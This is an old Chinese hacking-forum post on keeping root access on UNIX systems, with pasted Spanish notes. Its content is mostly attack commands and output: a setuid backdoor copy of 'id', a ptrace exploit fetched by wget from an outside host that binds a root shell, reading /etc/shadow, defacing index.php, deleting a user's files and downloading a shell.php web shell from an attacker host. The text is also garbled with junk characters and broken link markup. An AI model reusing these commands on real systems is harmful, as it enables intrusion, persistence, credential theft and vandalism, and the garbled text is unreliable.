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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>! ^3 Q- ]2 ^; d" z) @" R9 L
<>1.</P>
; v; V# `9 F/ g0 [6 l3 c: r' {<>[cnbird@localhost tmp]#id</P>
" i, l: j  d0 s+ g<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
! J  I+ n8 H% u$ O! l<>[cnbird@localhost tmp]#cp `which id ` .</P>
) d( Z+ I% R5 a% \" `- W<>[cnbird@localhost tmp]#chown root ./id</P>4 q8 b6 u/ L. m! F+ U' z
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>7 x& Z( o! \  m  \! P* a8 p$ S) K- Q
<>[cnbird@localhost tmp]#ls -l ./id</P>
& N1 A  h" e! l. ^6 E% }* S<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>" B0 K, J7 U9 q* H
<>[cnbird@localhost tmp]#exit</P>
8 q8 `4 i8 L0 H" b<>[cnbird@localhost tmp]$id</P>
4 V1 S1 p; ]  V& O8 e0 P4 ?<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>9 W" f4 Q. F/ N6 K; K/ l
<>[cnbird@localhost tmp]$./id </P>
8 M6 g# [2 w" |# z<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>" g! K, B* y# ~. v7 h0 x, q( l# e$ f* Q
<>2.利用ptrace成为root的方法</P>
4 ?# r/ e1 `4 w: E<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace) Y  ?3 C+ ]0 o# g/ N6 ?
-&gt; Parent's PID is 2313. Child's PID is 2314.
* f# A7 `& x7 v5 M- V-&gt; Attaching to 2315...& J- \  s, p" M
-&gt; Got the thread!!
7 ?2 F+ z( ^% j& u1 h8 F+ c; X$ [-&gt; Waiting for the next signal...
. |* a3 Q  n% |6 _& f8 @-&gt; Injecting shellcode at 0x4000e85d
! [* [- \1 G$ ~+ B6 `3 q( l+ |# L-&gt; Bind root shell on port 24876... =p
4 i3 @( X6 ?5 [1 u6 t; b0 a-&gt; Detached from modprobe thread.5 j  P% {( D# ~& Q1 r
-&gt; Committing suicide.....</P>; W: B2 Q) m9 |
<>[bash]# id( y5 q) ]8 A6 J8 Q
uid=0(root) gid=0(root) groups=0(root)</P>
( B+ u4 q4 L( g% I; a<>ara ver los dominios que hay en el server:6 }/ i% Z7 e! k4 g  M
---------------------------------------------------------
$ a  O9 T5 L% @( T3 v. I, q$ Jcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios+ w$ G7 `) G& ^8 D. s) D
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
  d9 Y2 L3 p, Y& k: s$ Rcat /etc/localdomains &lt;&lt; Unicamente los dominios locales& J. m# o& D1 t: y
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio ) j. `5 D$ r9 F8 b. U
cat /etc/userdomains &lt;&lt; Este es el mas comun8 `) v7 J! V9 J3 n2 H7 a6 F
---------------------------------------------------------</P>
. t5 J6 V9 `! \3 A$ m' ?' }$ I<>ara ver la version de kernel:
- I/ O/ h- q% C---------------------------------------------------------
6 s9 X5 [/ F& ]4 `+ Funame -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
6 L& I# Q" g) \3 F% k) I- J- K---------------------------------------------------------</P>
" n/ P7 v/ e' x, L0 t$ |& g<>ara modificar un index ya existente:; M7 X6 W' I4 Q. x8 j6 `
---------------------------------------------------------# D4 Q; X. I- N4 U6 M5 u' Y
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido% U) ?- f3 |3 g* l4 R' r9 W1 `
---------------------------------------------------------</P>  Q) W- L' H) b2 l! @5 @
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:( T( o+ f, M4 a7 o: `/ h/ d- n
---------------------------------------------------------9 w, `; H, C9 o4 J: A: Z1 ?
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
: k4 q; I5 Z9 O3 F* Z4 e; Ccd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
* X8 B5 U2 c) u/ C% }3 C" Pcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
' W( g6 w  \; T/ G- A, u% Xcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
9 r+ p" ?- }$ I3 p5 {Hasta aqui termina el proceso para un exploit.
7 V/ J2 j; G7 t---------------------------------------------------------</P># @0 \6 z6 I* i7 W) q' S
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:* V' c( g! [7 M, d
---------------------------------------------------------4 c0 K! n& X* p" Y: D. J6 \
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
9 `  F5 C6 A$ K& Q---------------------------------------------------------</P>
! K9 h8 V  B! M& c3 O7 j<>Borrar un Ficher% R/ @* N* H1 |9 i- h
---------------------------------------------------------+ j" h4 M, d& d5 M
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm8 h, a1 O  S0 m! p0 Z6 q
---------------------------------------------------------</P>
1 E$ i: ?; D' N8 J8 m; ?<>Subir un ficher
3 ^# v* d- r# ]$ u9 S2 L4 k1 g/ I+ _---------------------------------------------------------
- k$ x; l$ q8 V/ o$ qcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
$ x- m- x+ n4 I4 g, g2 X+ E<>
% ?8 N( h% W# y<CENTER></CENTER>
zan
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